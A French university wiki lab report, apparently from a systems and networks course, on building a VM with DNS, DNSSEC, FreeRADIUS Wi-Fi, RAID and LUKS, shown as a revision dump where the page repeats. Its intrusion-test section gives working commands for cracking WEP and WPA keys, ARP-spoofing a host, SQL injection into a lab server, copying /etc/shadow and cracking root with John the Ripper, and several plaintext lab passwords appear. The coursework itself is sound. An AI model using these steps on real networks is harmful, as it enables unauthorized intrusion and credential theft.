(on copie que la partie chiffrée, pas le record DNSKEY)<br />
<br />
10. Enfin, nous pouvons tester la configuration:<br />
<br />
root@Bellerose:~# host -t any belle-rose.site<br />
belle-rose.site has RRSIG record DS 8 2 3600 20220210205226 20220111074233 56238 site. t5ANbAiG69DP5E9ccCIMtEEMs1urP6mSQpb210bDUbCD7vdXqONhLJ9M dcjyHQjhdTWKd9qc48tnY8fwL4PUeOYLexcaUEQgLMkbEBUDMzpcvMsb n4sM2BXgk7lJ9vyE1zsgfBNg7X8IV5c7sRrEuZyg7VbjPYmqx5BJ3cC8 Dy0=<br />
belle-rose.site has DS record 22094 5 2 86D5EAC51853FAA1865BB63C0F353EEB50D5A59093409E66A3F7044C AC3AF70F<br />
belle-rose.site name server ns6.gandi.net.<br />
belle-rose.site name server ns1.belle-rose.site.<br />
belle-rose.site has RRSIG record DNSKEY 5 2 604800 20220210082130 20220111082130 6672 belle-rose.site. bh2pFBuNXANoGib6RK5MAab6xy7jbUEYVOr6Pk/pa8weJPD/ACk0Z1pm urvc++ReoccxNxNy+BCd2Ri1GLhZ+kGXrF8xuNUYdyo+zpd+zZUgrx1C hKRSUqeBVpAn0uyDlRtG8cPPw01iYpDBCqmnif7+GblIH6eSJhOf+98d l8o=<br />
belle-rose.site has RRSIG record DNSKEY 5 2 604800 20220210082130 20220111082130 22094 belle-rose.site. JLB0MJqr8rfBq2MiVrZaRyDo/7/7V1GUGwCi108w8CgeUrIdImgXERY4 2nXQ21aym3Po0i+zs5DmEonEkTGMi63kjUG8ZeFjMCFm7KtNhRK8FkQk Be2yzv3odAhh/gmMyRsMa7yoLwaDWZVd4NkCJ6EaqNXP7yspcHD6pmHt 4RKJgCUo6zpLAJnFiU1cwIR+lS/HeFEW2OzOtvi/LH8bL1zewioEpTgi qHLplK68KR/1cX/4Dq2C3CaeChteMx//EkW9Vmwjg9BhRjE/VCa8P80w qJEiXeg8KXYLkCEiBK5ifgKy5EMxDG5q18ieRXaUc0F6FpG0A4POpTVx pscHmA==<br />
belle-rose.site has DNSKEY record 257 3 5 AwEAAbbNBQJskwFezV1LwDsxAkCVbOcy4X3/mgffMjd/3FIHZpkdVrk3 w88041cgWbVSmom0ma8fFNqntidWlO//rMPvKT0ex3dqCse7on3/odox vxR3Zh5hPdv4K7X35BLuZta4x/RCBLgiFVyXo12qqBl0Htxn2hRyycKv 2caEYwnyRI75KSrr5f5XtQS8LyZCbtmMAp5YJu1wiDxwLcUwwJKvYS+q dtq4sm3KwW+qbjcUswkMMjXNAsvzwZ5FyHcondvvPuErc+Fhdvpxyoq+ W44ynLRnz7cb3R44z/TXFCwNlQI3MWzFvhbDK1YeJLpqjgYrET4eqqka mbFMYuLPQzE=<br />
belle-rose.site has DNSKEY record 256 3 5 AwEAAdZrHCSjl8nMZ0pwfODUtCs4nD6iStiZzuBAfWTsm75qpG6JJzpr e3Oqqyr/Dm1bwXbLQUd0GNgGAidiAQtkbZIb/5ZQxuVxft2kp0GKUr34 44Bw1Gh8af1Npk9cqK368U6oD+EIrV2AnA2KC/KXm+DziNOkmifaFVvO rh6p91Ut<br />
belle-rose.site has RRSIG record NSEC 5 2 604800 20220210082130 20220111082130 6672 belle-rose.site. RXnysXybktajyP82ERJn1m9z/5dkOQABIzfUPf2/08jFQq96AMmEggH2 sAy/3wv6SKiwAvBN3dFkYtIefMAK0MdLykIwwLrGQwK1BSv5KKLCowtO Bdks2pjgBPFE4J/MnBnBXSm0HunudjziNgz+PN3bY/IieyPzIBfpHM0y UfM=<br />
belle-rose.site has NSEC record ns1.belle-rose.site. NS SOA RRSIG NSEC DNSKEY<br />
belle-rose.site has RRSIG record NS 5 2 604800 20220210082130 20220111082130 6672 belle-rose.site. GZRzkPkOu/RKjCE2+NWhHfTcicDCoaBq/QjimrrVPsMcse0pPebFZkTr lRHMLHZEglzopIigLwj3DQ7yjuB6EiAhudUWwZri82LjkVs+z5ItMPo6 kudNvs5oUqVGX7E6toy5rU11yBgPDNijuCI1aahUJpwAEOl9sGi9uJ9I NaI=<br />
belle-rose.site has RRSIG record SOA 5 2 604800 20220210082130 20220111082130 6672 belle-rose.site. rDQsyAPj2RG4epQ7AFGrpU4JzyAi1kif3X4N8L+53IrlNWMcByyCVtAA 1XRQ8+Ag7f8/Z7nMhLbRuPtEH6efhZJfhEOuuU0SK7Nernm6WgkCS4UI e4VVtXtbHLeM+CncfUywqpKRhyZB9qEpzloNdI6zyOlzS9bH9qMwZFSS TWY=<br />
belle-rose.site has SOA record ns1.belle-rose.site. postmaster.belle-rose.site. 6 604800 86400 2419200 604800<br />
<br />
= Tests d'intrusion =<br />
<br />
== Exploitation de failles du système ==<br />
<br />
Après plusieurs recherches, nous avons trouvé un petit soft permettant d'audit notre système et y afficher les possibles failles. > https://github.com/mzet-/linux-exploit-suggester<br />
<br />
En suivant la documentation :<br />
<br />
$ wget https://raw.githubusercontent.com/mzet-/linux-exploit-suggester/master/linux-exploit-suggester.sh -O les.sh<br />
$ chmod +x les.sh && ./les.sh<br />
<br />
On obtient les failles suivantes (audit réalisé sur notre VM) :<br />
<br />
[+] [CVE-2021-27365] linux-iscsi<br />
...<br />
[+] [CVE-2021-22555] Netfilter heap out-of-bounds write<br />
...<br />
[+] [CVE-2019-13272] PTRACE_TRACEME<br />
...<br />
<br />
== Cassage de clef WEP d’un point d’accès WiFi ==<br />
<br />
On commence par rechercher le nom de notre interface. On utilise alors la commande (en root) :<br />
<br />
$ airmon-ng<br />
<br />
On trouve l'interface suivante :<br />
<br />
wlx40a5ef0127d0<br />
<br />
On essaie de démarrer l'interface sur le channel 3 :<br />
<br />
$ airmon-ng start wlx40a5ef0127d0 3<br />
<br />
Or on remarque que la réponse de la commande nous indique que l'interface a été renommé automatiquement "wlan0mon". On ré-utilise la commande précédente avec le nouveau nom d'interface :<br />
<br />
$ airmon-ng start wlan0mon 3<br />
<br />
On écoute ensuite tous les paquets dans l'air :<br />
<br />
$ airodump-ng wlan0mon<br />
<br />
A partir de là, on peut choisir un point d'accès à cracker en utilisant son BSSID (obtenu par la commande précédente). On choisit cracotte06.<br />
<br />
$ aireplay-ng -9 -e cracotte06 -a 04:DA:D2:9C:50:55 wlan0mon<br />
<br />
On peut récupérer les VI générés par le point d'accès en les stockant dans les fichiers output. On donne le channel 4 puisque le point d'accès est sur ce channel :<br />
<br />
$ airodump-ng -c 4 --bssid 04:DA:d2:9C:50:55 -w output wlan0mon<br />
<br />
On effectue de fausses authentifications avec la commande aireplay-ng dans un nouveau terminal :<br />
<br />
$ aireplay-ng -1 0 -e cracotte06 -a 04:DA:D2:9C:50:55 -h 40:A5:EF:01:0E:5F wlan0mon<br />
<br />
L'adresse MAC source donnée après le -h est obtenue lorsque l'on récupère les VI.<br />
<br />
Il faut maintenant laisser tourner la commande de récupération des VI assez longtemps pour obtenir assez de données (pour nous içi il a fallu attendre 40000 datas). On peut ensuite décrypter la clef WEP :<br />
<br />
$ aircrack-ng -b 04:DA:D2:9C:50:55 output*.cap<br />
<br />
On obtient alors :<br />
<br />
KEY FOUND ! [ 55:55:55:55:5A:BC:07:CB:A4:44:44:44:44 ]<br />
Decrypted correctly: 100%<br />
<br />
== Cassage de mot de passe WPA-PSK par force brute ==<br />
<br />
$ airmon-ng<br />
$ airmon-ng start wlan0mon 9<br />
$ airodump-ng wlan0mon<br />
<br />
On choisit le point d'accès kracotte06 à cracker. On récupère son BSSID avec la commande précédente et on utilise :<br />
<br />
$ airodump-ng -c 4 --bssid 44:AD:D9:5F:87:05 -w psk wlan0mon<br />
<br />
On crée le dictionnaire contenant toutes les clefs à tester avec la commande <code>crunch</code><br />
<br />
$ crunch 8 8 0123456789 -o dictionnaire.lst<br />
<br />
Pour savoir si un Handshake a été trouvé, on utilise la commande :<br />
<br />
$ aircrack-ng psk*.cap<br />
<br />
On trouve : <br />
<br />
# BSSID ESSID Encryption<br />
1 44:AD:D9:5F:87:05 kracotte06 WPA (1 handshake)<br />
<br />
On peut alors lancer la commande de test des clefs :<br />
<br />
$ aircrack-ng -w dictionnaire.lst -b 44:AD:D9:5F:87:05 psk*.cap<br />
<br />
Après un peu d'attente, on obtient la clef suivante :<br />
<br />
KEY FOUND! [ 59906999 ]<br />
<br />
== Attaque de type "homme au milieu" par usurpation ARP ==<br />
<br />
On branche un PC bleu sur une zabeth en ethernet et on lui configure une IP. Ensuite on peut installer dsniff et wireshark.<br />
<br />
On fait :<br />
<br />
$ echo 1 > /proc/sys/net/ipv4/ip_forward<br />
<br />
Puis on se fait passer pour le routeur (172.26.145.254) auprès de la zabeth (172.26.145.61):<br />
<br />
$ arpspoof -t 172.26.145.61 172.26.145.254<br />
<br />
En lançant wireshark, on peut voir les informations envoyées par la zabeth passer en clair.<br />
<br />
== Intrusion sur un serveur d’application Web ==<br />
<br />
Sur honey.plil.info : <br />
<br />
1. injection SQL<br />
<br />
2. connexion en tant qu'admin<br />
<br />
3. telechargement du fichier "config-db.php" (On remarque que il existe une BDD phpmyadmin) et "database.php" (ce fichier semble lui ne pas nous apporter d'informations)<br />
<br />
4. honey.plil.info/phpmyadmin -> connexion avec les logins trouvés dans le fichier "config-db.php" (phpmyadmin et gencovid19). On trouve alors une table "pma_users" indiquant le nom de plusieurs utilisateurs (totor62, manuals, phpmyadmin et root).<br />
<br />
5. en essayant le mdp "gencovid19" avec ces identifiants sur phpmyadmin : on peut se connecter en tant que "root" sur la BDD et on trouve le mdp de rex dans la bdd "test" et table "users".<br />
<br />
6. connexion en ssh sur rex@honey.plil.info.<br />
<br />
7. comme indication : "le mot de passe de root possède la même particularité que le mot de passe administrateur habituel des machines de projets". Alors on va créer un fichier de mots de 4 lettre pour ensuite doubler ces mots (exemple : bobo => bobobobo) pour essayer de cracker le mot de passe par la force brute. On créée alors le dictionnaire avec l'utilitaire crunch comme pour obtenir les clefs WEP :<br />
<br />
$ crunch 4 4 abcdefghijklmnopqrstuvwxyz > dico.txt<br />
<br />
Et on double la taille des mots :<br />
<br />
$ sed -i 's/\(.*\)/\1\1/' dico.txt<br />
<br />
On copie ensuite les fichiers "/etc/passwd" et "/etc/shadow" de rex@honey.plil.info sur notre zabeth. <br />
<br />
$ scp rex@honey.plil.info:/etc/passwd .<br />
$ scp rex@honey.plil.info:/etc/shadow .<br />
<br />
On utilise alors l'utilitaire "shadow" pour obtenir un fichier contenant le mot de passe haché de root :<br />
<br />
$ unshadow passwd shadow | head -1 > honey<br />
<br />
Puis on utilise "John the Ripper" pour cracker le mot de passe :<br />
<br />
$ john -w:dico.txt honey<br />
<br />
Après quelques minutes, on peut afficher le mot de passe trouvé :<br />
<br />
$ john --show honey<br />
root:fortfort:0:0:root:/root:/bin/bash<br />
1 password hash cracked, 0 left<br />
<br />
On trouve le mot de passe de root@honey.plil.info qui est "fortfort".<br />
<br />
= Point d'accès Wi-Fi authentifié via FreeRADIUS =<br />
<br />
== Configuration du point d'accès ==<br />
<br />
=== Point d'accès ===<br />
<br />
Tout d'abord il faut configurer l'authentification EAP dans la configuration :<br />
<br />
conf t<br />
<br />
aaa new-model<br />
aaa authentication login eap_rose group radius_rose<br />
radius-server host 193.48.57.181 auth-port 1812 acct-port 1813 key zinzin<br />
aaa group server radius radius_rose<br />
server 193.48.57.181 auth-port 1812 acct-port 1813<br />
exit<br />
<br />
Configurons le SSID :<br />
<br />
conf t<br />
<br />
dot11 ssid SSID_ROSE<br />
vlan 5<br />
authentication open eap eap_rose<br />
authentication network-eap eap_rose<br />
authentication key-management wpa<br />
mbssid guest-mode<br />
exit<br />
exit<br />
<br />
On associe notre SSID à l'interface WIFI :<br />
<br />
conf t<br />
<br />
interface Dot11Radio0<br />
encryption vlan 5 mode ciphers aes-ccm tkip<br />
ssid SSID_ROSE<br />
mbssid<br />
exit<br />
exit<br />
<br />
On paramètre notre VLAN (5)<br />
<br />
conf t<br />
<br />
interface Dot11Radio0.5<br />
encapsulation dot1Q 5<br />
no ip route-cache<br />
bridge-group 5<br />
bridge-group 5 subscriber-loop-control<br />
bridge-group 5 spanning-disabled<br />
bridge-group 5 block-unknown-source<br />
exit<br />
exit<br />
<br />
On configure l'interface filaire<br />
<br />
conf t<br />
<br />
interface GigabitEthernet0.5<br />
encapsulation dot1Q 5<br />
bridge-group 5<br />
exit<br />
exit<br />
<br />
Enfin, on configure l'IP de l'AP et sa gateway<br />
<br />
conf t<br />
<br />
ip default-gateway 10.1.0.1<br />
interface BVI 1<br />
ip address 10.1.0.3 255.255.255.0<br />
exit<br />
exit<br />
<br />
=== Routeur ===<br />
<br />
Commençons par configurer le VLAN 1 <br />
<br />
conf t<br />
<br />
interface vlan 1<br />
ip address 10.1.0.1 255.255.255.0<br />
exit<br />
exit<br />
<br />
Puis on configure le port (ici Gi1/0/3<br />
<br />
conf t<br />
<br />
interface Gi1/0/3<br />
switchport<br />
switchport mode trunk<br />
switchport trunk allowed vlan add 1<br />
exit<br />
exit<br />
<br />
Et voilà mon grand<br />
<br />
== Serveur FreeRADIUS ==<br />
<br />
Installation de freeRADIUS<br />
<br />
apt install freeradius<br />
<br />
On commence par configurer <code>/etc/freeradius/3.0/clients.conf</code> à détailler<br />
<br />
client zozo {<br />
ipaddr = 10.1.0.3/24<br />
secret = zinzin<br />
}<br />
<br />
ensuite <code>/etc/freeradius/3.0/eap.conf</code><br />
<br />
eap {<br />
[...]<br />
default_eap_type = peap<br />
}<br />
<br />
puis <code>/etc/freeradius/3.0/users</code><br />
<br />
[...]<br />
root Cleartext-Password := "glopglop"<br />
<br />
Pour vérifier que tout fonctionne bien, on peut lancer freeradius en mode debug <code>freeradius -X</code> (après avoir au préalable stoppé le processus)<br />
<br />
= Réalisations =<br />
<br />
== Sécurisation des données (RAID 5) ==<br />
<br />
Nous avons besoin de 3 LV à rajouter à notre VM :<br />
<br />
$ lvcreate -L1G -n Bellerose-raid1 storage<br />
$ lvcreate -L1G -n Bellerose-raid2 storage<br />
$ lvcreate -L1G -n Bellerose-raid3 storage<br />
<br />
Nous pouvons ainsi les rajouter à la configuration de notre VM (<code>/etc/xen/Bellerose.cfg</code>):<br />
<br />
'phy:/dev/storage/Bellerose-raid1,xvda5,w'<br />
'phy:/dev/storage/Bellerose-raid2,xvda6,w'<br />
'phy:/dev/storage/Bellerose-raid3,xvda7,w'<br />
<br />
Nous pouvons ensuite créer le RAID en relançant la VM et en se connectant dessus.<br />
<br />
$ apt install mdadm<br />
<br />
On va ensuite créer un disque nommé <code>/dev/md0</code> grâce à <code>mdadm</code> :<br />
<br />
$ mdadm --create /dev/md0 --level=5 --raid-devices=3 /dev/xvda5 /dev/xvda6 /dev/xvda7<br />
<br />
On peut ainsi vérifier que notre RAID 5 est effectif :<br />
<br />
$ lsblk<br />
NAME MAJ:MIN RM SIZE RO TYPE MOUNTPOINT<br />
xvda1 202:1 0 512M 0 disk [SWAP]<br />
xvda2 202:2 0 4G 0 disk /<br />
xvda3 202:3 0 10G 0 disk /home<br />
xvda4 202:4 0 10G 0 disk /var<br />
xvda5 202:5 0 1G 0 disk <br />
`-md0 9:0 0 2G 0 raid5 <br />
xvda6 202:6 0 1G 0 disk <br />
`-md0 9:0 0 2G 0 raid5 <br />
xvda7 202:7 0 1G 0 disk <br />
`-md0 9:0 0 2G 0 raid5 <br />
<br />
Enfin il faut monter ce disque fraîchement créé :<br />
<br />
$ mkfs.ext4 /dev/md0<br />
$ mkdir /media/raid<br />
<br />
on ajoute cette ligne dans <code>/etc/fstab</code> :<br />
<br />
/dev/md0 /media/raid ext4 defaults 0 1<br />
<br />
puis<br />
<br />
$ mount -a<br />
<br />
et toc<br />
<br />
== Chiffrement des données ==<br />
<br />
On branche la clé USB sur le petit PC bleu, et on lance <code>lsblk</code> et on trouve :<br />
<br />
NAME MAJ:MIN RM SIZE RO TYPE MOUNTPOINT<br />
sda 8:0 1 7,2G 0 disk <br />
<br />
Donc on peut formater la clef qui contient déjà quelque chose dessus :<br />
<br />
$ mkfs.ext4 /dev/sda<br />
<br />
Avec <code>cryptsetup</code> on peut initialiser la clef et lui donner un mdp :<br />
<br />
$ cryptsetup luksFormat /dev/sda<br />
<br />
On crée une partition chiffrée sur la clé :<br />
<br />
$ cryptsetup luksOpen /dev/sda data<br />
<br />
Et on formate :<br />
<br />
$ mkfs.ext4 /dev/mapper/data<br />
<br />
On monte cette partition pour lui permettre de contenir des fichiers :<br />
<br />
$ mkdir /mnt/data-usb<br />
$ mount -t ext4 /dev/mapper/data /mnt/data-usb<br />
<br />
On y ajoute donc un fichier de test :<br />
<br />
$ touch /mnt/data-usb/boujour.txt<br />
<br />
Puis on démonte et on ferme le volume chiffré<br />
<br />
$ umont /mnt/data-usb<br />
$ cryptsetup luksClose data<br />
<br />
Ensuite en branchant la clé USB sur un autre PC pour voir le fonctionnement de notre chiffrement, et lorsqu'on essaie d'accèder à la clef, celle ci nous demande un mot de passe pour accèder aux fichiers, donc le chiffrement fonctionne correctement.<br />
<br />
= ASR lab project =<br />
<br />
== Ansible hello world ==<br />
<br />
Après avoir installé ansible, nous avons pu créer notre premier playbook assez simple :<br />
<br />
<code>roles/ssh_key/tasks/main.yml</code><br />
---<br />
<br />
- name: Create .ssh if it does not exists<br />
file:<br />
path: ~/.ssh<br />
state: directory <br />
<br />
- name: Copy authorized_keys<br />
copy:<br />
src: authorized_keys<br />
dest: ~/.ssh/authorized_keys<br />
<br />
Ce dernier prend le fichier <code>../files/authorized_keys</code> (local) et le place dans <code>~/.ssh</code> (vm) après avoir créé ce répertoire si besoin.<br />
<br />
== Iptables ==<br />
<br />
CEST DES IPTABLES QUI SERVENT A RIEN CAR YA PAS DINTERFACE PUBLIQUE SUR CETTE VM<br />
<br />
== Consul ==<br />
<br />
Le fichier <code>roles/consul/tasks/main.yml</code> contient :<br />
<br />
---<br />
<br />
- name: Create consul group<br />
group:<br />
name: consul<br />
state: present<br />
gid: 666<br />
<br />
- name: Create consul user<br />
user:<br />
name: consul<br />
state: present<br />
uid: 666<br />
group: consul<br />
<br />
- name: Create dirs<br />
file:<br />
state: directory<br />
path: "{ { item } }"<br />
owner: consul<br />
group: consul<br />
loop:<br />
- /etc/consul<br />
- /var/lib/consul<br />
<br />
- name: Add HashiCorp key<br />
apt_key:<br />
url: https://apt.releases.hashicorp.com/gpg<br />
state: present<br />
<br />
- name: Add HashiCorp repo<br />
apt_repository:<br />
repo: "deb https://apt.releases.hashicorp.com { { ansible_distribution_release } } main"<br />
state: present<br />
update_cache: true<br />
<br />
- name: Install Consul<br />
package:<br />
name: consul<br />
state: present<br />
<br />
- name: Put config<br />
copy:<br />
src: "{ { item } }"<br />
dest: "/etc/consul/{ { item } }"<br />
owner: consul<br />
group: consul<br />
loop:<br />
- config.json<br />
- web.json<br />
<br />
- name: Add consul systemd service file<br />
copy:<br />
src: consul.service<br />
dest: /etc/systemd/system/consul.service<br />
register: systemd<br />
<br />
- name: Deamon reload<br />
systemd:<br />
daemon_reload: true<br />
when: systemd.changed<br />
<br />
- name: Start consul service<br />
systemd:<br />
name: consul<br />
state: restarted<br />
enabled: yes<br />
<br />
(Sans les espaces des accolades encore une fois)<br />
Le fichier <code>roles/consul/files/config.json</code> contient :<br />
<br />
{<br />
"datacenter": "polytech",<br />
"data_dir": "/var/lib/consul",<br />
"log_level": "INFO",<br />
"node_name": "jsp",<br />
"server": true,<br />
"bind_addr": "172.26.145.106",<br />
"bootstrap_expect": 2,<br />
"retry_join": ["172.26.145.101"],<br />
"ui": true,<br />
"client_addr": "0.0.0.0"<br />
}<br />
<br />
Et le fichier <code>roles/consul/files/web.json</code> contient : <br />
<br />
{<br />
"service": {<br />
"name": "web-bellerose",<br />
"tags": ["boris","louis","web"],<br />
"port": 80<br />
},<br />
<br />
"check": {<br />
"id": "webport",<br />
"name": "Simple HTTP GET",<br />
"method": "GET",<br />
"http": "http://172.26.145.106",<br />
"interval": "10s",<br />
"timeout": "1s"<br />
}<br />
}<br />
<br />
Oui, rien n'est variabilisé mais le principe est là.</div>Lwadbledhttps://wiki-ima.plil.fr/mediawiki//index.php?title=TP_sysres_IMA5_2021/2022_G6&diff=58013TP sysres IMA5 2021/2022 G62022-01-12T12:46:55Z<p>Lwadbled : /* Consul */</p>
<hr />
<div>__TOC__<br />
<br style="clear: both;"/><br />
<br />
=Création de la machine virtuelle=<br />
<br />
On veut créer notre machine virtuelle sur l'hyperviseur (HV) capbreton. Afin de pouvoir télécharger l'image Debian, on utilise tout d'abord la commande suivante :<br />
<br />
$ export http_proxy=http://proxy.plil.fr:3128<br />
<br />
Pour lancer la création de la machine virtuelle, on doit donner le nom de la machine qui sera Bellerose (d'après le thème des noms de bière). Ensuite nous avons l'adresse IP qui nous a été attribuée lors de la répartition des groupes (donc pour nous ce sera 193.48.57.181). On donne aussi l'adresse IP du routeur flottant (193.48.57.190) et le masque du réseau (255.255.255.240 car c'est un /28). On indique également l'emplacement des disques virtuels : /usr/local/xen, le mot de passe pour se connecter à la machine virtuelle : pasglop, et la distribution que nous allons utiliser qui est Debian bullseye.<br />
<br />
$ xen-create-image --hostname=Bellerose --ip=193.48.57.181 --gateway=193.48.57.190 --netmask=255.255.255.240 --dir=/usr/local/xen --password=pasglop --dist=bullseye<br />
<br />
On crée ensuite 2 LV de 10 Go (nommés Bellerose1 et Bellerose2) sur le groupe de volume storage.<br />
<br />
$ lvcreate -L10G -n Bellerose1 storage<br />
$ lvcreate -L10G -n Bellerose2 storage<br />
<br />
Puis il faut les formater au format ext4, alors on utilise les commandes suivantes :<br />
<br />
$ mkfs.ext4 /dev/storage/Bellerose1<br />
$ mkfs.ext4 /dev/storage/Bellerose2<br />
<br />
On modifie notre fichier /etc/xen/Bellerose.cfg pour indiquer à la machine virtuelle qu'elle possède les volumes logiques Bellerose1 et Bellerose2 (on ajoute alors 2 lignes dans la fonction disk) et on ajoute le bridge IMA5sc dans la fonction vif.<br />
<br />
$ vim /etc/xen/Bellerose.cfg<br />
disk = [<br />
'file:/usr/local/xen/domains/Bellerose/disk.img,xvda2,w',<br />
'file:/usr/local/xen/domains/Bellerose/swap.img,xvda1,w',<br />
'phy:/dev/storage/Bellerose1,xvda3,w',<br />
'phy:/dev/storage/Bellerose2,xvda4,w'<br />
]<br />
vif = [ 'ip=193.48.57.181 ,mac=00:16:3E:FA:D0:95 ,bridge=IMA5sc' ]<br />
<br />
On peut maintenant lancer notre machine virtuelle :<br />
<br />
$ xl create -c /etc/xen/Bellerose.cfg<br />
<br />
Avec la commande :<br />
<br />
$ cat /etc/fstab<br />
<br />
On voit xvda1 et xvda2. On va créer xvda3 et xvda4 pour pouvoir y mettre les répertoires var et home de notre machine virtuelle :<br />
<br />
$ mkdir /mnt/xvda3<br />
$ mkdir /mnt/xvda4<br />
$ mount /dev/xvda3 /mnt/xvda3<br />
$ mount /dev/xvda4 /mnt/xvda4<br />
<br />
Puis on déplace le répertoire var dans le disque xvda4 :<br />
<br />
$ mv /var/* /mnt/xvda4<br />
<br />
Pour monter les disques, on ajoute ces lignes dans le fichier /etc/fstab :<br />
<br />
# /home vers xvda3<br />
/dev/xvda3 /home ext4 defaults 0 2<br />
# /var vers xvda4<br />
/dev/xvda4 /var ext4 defaults 0 2<br />
<br />
On monte le tout à l'aide de la commande :<br />
<br />
mount -a<br />
<br />
Enfin avec lsblk, on peut voir les deux partitions de notre VM :<br />
<br />
$ lsblk<br />
xvda3 202:3 0 10G 0 disk /home<br />
xvda4 202:4 0 10G 0 disk /var<br />
<br />
Enfin, nous activons l'IPv6 sur l'interface en modifiant <code>/etc/network/interfaces</code><br />
<br />
iface eth0 inet6 auto<br />
<br />
Pour quitter la VM : CTRL+]<br />
<br />
= Services Internet =<br />
<br />
== Serveur SSH ==<br />
<br />
$ apt install openssh-server<br />
<br />
on édite le fichierde conf <code>/etc/ssh/sshd_config</code> (via ssh key) :<br />
<br />
PermitRootLogin without-password // je l'ai repassé en "yes" suite au mail et le mdp root est celui de pifou habituel <br />
PubkeyAuthentication yes<br />
<br />
après on reload la conf<br />
<br />
$ systemctl reload ssh<br />
<br />
On génère une clé ssh depuis notre zabeth avec <code>ssh-keygen -t ed25519</code> et on l'ajoute dans <code>/.ssh/authorized_keys</code> et c'est gooooood<br />
<br />
== Serveur DNS ==<br />
<br />
on achète le ndd<br />
<br />
on crée un "Glue Record" pour notre nameserver <code>ns1.belle-rose.site</code><br />
<br />
on install bind<br />
<br />
$ apt install bind9<br />
<br />
on configure <code>/etc/resolv.conf</code><br />
<br />
nameserver 127.0.0.1<br />
<br />
on configure bind <code>/etc/bind/named.conf.local</code><br />
<br />
zone "belle-rose.site" IN {<br />
type master;<br />
file "/etc/bind/db.belle-rose.site";<br />
allow-transfer { 217.70.177.40; };<br />
};<br />
<br />
On ajoute nos ns <code>/etc/bind/db.belle-rose.site</code><br />
<br />
;<br />
; BIND dans ta face<br />
;<br />
$TTL 604800<br />
@ IN SOA ns1.belle-rose.site. postmaster.belle-rose.site. (<br />
2 ; Serial<br />
604800 ; Refresh<br />
86400 ; Retry<br />
2419200 ; Expire<br />
604800 ) ; Negative Cache TTL<br />
;<br />
@ IN NS ns1.belle-rose.site.<br />
@ IN NS ns6.gandi.net.<br />
ns1 IN A 193.48.57.181<br />
<br />
Ensuite on peut tester notre conf avec<br />
<br />
$ host -t any ns1.belle-rose.site localhost<br />
Using domain server:<br />
Name: localhost<br />
Address: 127.0.0.1#53<br />
Aliases: <br />
<br />
ns1.belle-rose.site has address 193.48.57.181<br />
<br />
Et on incrémente aussi le Serial dans <code>/etc/bind/db.belle-rose.site</code> à 3.<br />
<br />
== Certificat ==<br />
<br />
Notre certificat Gandi nous a été retiré de force par quelqu'un de mal intentionné. De ce fait, nous avons utilisé un certificat <code>Let's Encrypt</code>. Après avoir installé <code>certbot</code>, on utilise simplement la commande :<br />
<br />
certbot --apache<br />
<br />
https://www.belle-rose.site/ IZOK<br />
<br />
== DNSSEC ==<br />
<br />
On suit les étapes suivantes :<br />
<br />
1. On ajoute l’option <code>dnssec-enable yes;</code> dans le fichier <code>named.conf.options</code><br />
<br />
2. On crée un répertoire <code>belle-rose.site.dnssec</code> pour y générer les clefs<br />
<br />
3. On crée la clef asymétrique de signature de clefs de zone :<br />
<br />
$ dnssec-keygen -a RSASHA1 -b 2048 -f KSK -n ZONE belle-rose.site<br />
<br />
4. On crée la clef asymétrique de la zone pour signer les enregistrements<br />
<br />
$ dnssec-keygen -a RSASHA1 -b 1024 -n ZONE belle-rose.site <br />
<br />
5. On renomme les deux paires de clefs obtenues en utilisant le nom de la zone comme préfixe puis en suffixant d’abord par la destination de la clef (-ksk pour la KSK ou -zsk pour la ZSK) puis par le type de clef (.key pour la clef publique ou .private pour la clef privée);<br />
<br />
$ mv Kbelle-rose.site.+005+37138.key belle-rose.site-ksk.key<br />
$ mv Kbelle-rose.site.+005+35638.key belle-rose.site-zsk.key<br />
$ mv Kbelle-rose.site.+005+37138.private belle-rose.site-ksk.private<br />
$ mv Kbelle-rose.site.+005+35638.private belle-rose.site-zsk.private<br />
<br />
6. On inclue les clefs publiques dans votre fichier de zone <code>/etc/bind/db.belle-rose.site</code>, et on incrémente le numéro de version de la zone ;<br />
<br />
$include /etc/bind/belle-rose.site.dnssec/belle-rose.site-ksk.key<br />
$include /etc/bind/belle-rose.site.dnssec/belle-rose.site-zsk.key<br />
<br />
7. On signe les enregistrements de la zone ;<br />
<br />
$ dnssec-signzone -o belle-rose.site -k belle-rose.site-ksk ../db.belle-rose.site belle-rose.site-zsk<br />
<br />
8. On modifie le fichier <code>named.conf.local</code> pour utiliser la zone signée de suffixe .signed :<br />
<br />
$ vim ../named.conf.local<br />
zone "belle-rose.site" IN {<br />
type master;<br />
file "/etc/bind/db.belle-rose.site.signed";<br />
allow-transfer { 217.70.177.40; };<br />
};<br />
<br />
9. il ne reste plus qu’à communiquer la partie publique de la KSK (présente dans le fichier www.belle-rose.site-ksk.key) à notre registrar (sur gandi.net, dans la section "Manage DNSSEC" puis "DNS servers")<br />
<br />
root@Bellerose:/etc/bind/belle-rose.site.dnssec# cat belle-rose.site-ksk.key <br />
; This is a key-signing key, keyid 22094, for belle-rose.site.<br />
; Created: 20220111091701 (Tue Jan 11 09:17:01 2022)<br />
; Publish: 20220111091701 (Tue Jan 11 09:17:01 2022)<br />
; Activate: 20220111091701 (Tue Jan 11 09:17:01 2022)<br />
belle-rose.site. IN DNSKEY 257 3 5 AwEAAbbNBQJskwFezV1LwDsxAkCVbOcy4X3/mgffMjd/3FIHZpkdVrk3 w88041cgWbVSmom0ma8fFNqntidWlO//rMPvKT0ex3dqCse7on3/odox vxR3Zh5hPdv4K7X35BLuZta4x/RCBLgiFVyXo12qqBl0Htxn2hRyycKv 2caEYwnyRI75KSrr5f5XtQS8LyZCbtmMAp5YJu1wiDxwLcUwwJKvYS+q dtq4sm3KwW+qbjcUswkMMjXNAsvzwZ5FyHcondvvPuErc+Fhdvpxyoq+ W44ynLRnz7cb3R44z/TXFCwNlQI3MWzFvhbDK1YeJLpqjgYrET4eqqka mbFMYuLPQzE=<br />
<br />
(on copie que la partie chiffrée, pas le record DNSKEY)<br />
<br />
10. Enfin, nous pouvons tester la configuration:<br />
<br />
root@Bellerose:~# host -t any belle-rose.site<br />
belle-rose.site has RRSIG record DS 8 2 3600 20220210205226 20220111074233 56238 site. t5ANbAiG69DP5E9ccCIMtEEMs1urP6mSQpb210bDUbCD7vdXqONhLJ9M dcjyHQjhdTWKd9qc48tnY8fwL4PUeOYLexcaUEQgLMkbEBUDMzpcvMsb n4sM2BXgk7lJ9vyE1zsgfBNg7X8IV5c7sRrEuZyg7VbjPYmqx5BJ3cC8 Dy0=<br />
